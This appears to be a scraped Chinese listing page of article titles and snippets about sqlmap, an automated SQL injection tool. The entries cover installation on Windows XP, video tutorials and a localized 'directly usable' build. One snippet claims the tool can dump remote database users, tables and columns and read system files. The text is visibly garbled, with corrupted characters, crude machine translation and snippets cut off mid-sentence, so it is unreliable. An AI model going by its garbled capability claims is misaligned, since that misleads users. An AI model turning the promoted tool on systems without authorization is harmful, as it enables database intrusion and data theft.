- 在Windows XP上安裝和運(yùn)行SqlMap的步驟分享,其實(shí)就是安裝一個(gè)python,然后將gui界面復(fù)制到里面2015-09-03
- SQLMAP 視頻動(dòng)畫(huà)教程,方便新手朋友2012-10-16
- 看大牛的視頻,學(xué)習(xí)一下,附上截圖 算是轉(zhuǎn)載吧...只是為了分享一下,方便需要的朋友2012-10-16
sqlmap 一個(gè)自動(dòng)SQL 射入工具(sqlmap.py)漢化直接可用版
sqlmap 是一個(gè)自動(dòng)SQL 射入工具。它是可勝任執(zhí)行一個(gè)廣泛的數(shù)據(jù)庫(kù)管理系統(tǒng)后端指印, 檢索遙遠(yuǎn)的DBMS 數(shù)據(jù)庫(kù), usernames, 桌, 專(zhuān)欄, 列舉整個(gè)DBMS, 讀了系統(tǒng)文件和利用導(dǎo)致S2015-01-04- 支持現(xiàn)在幾乎所有的數(shù)據(jù)庫(kù),比國(guó)內(nèi)的任何工具都強(qiáng)。我都開(kāi)始懷疑穿山甲是不是源自于它2012-10-01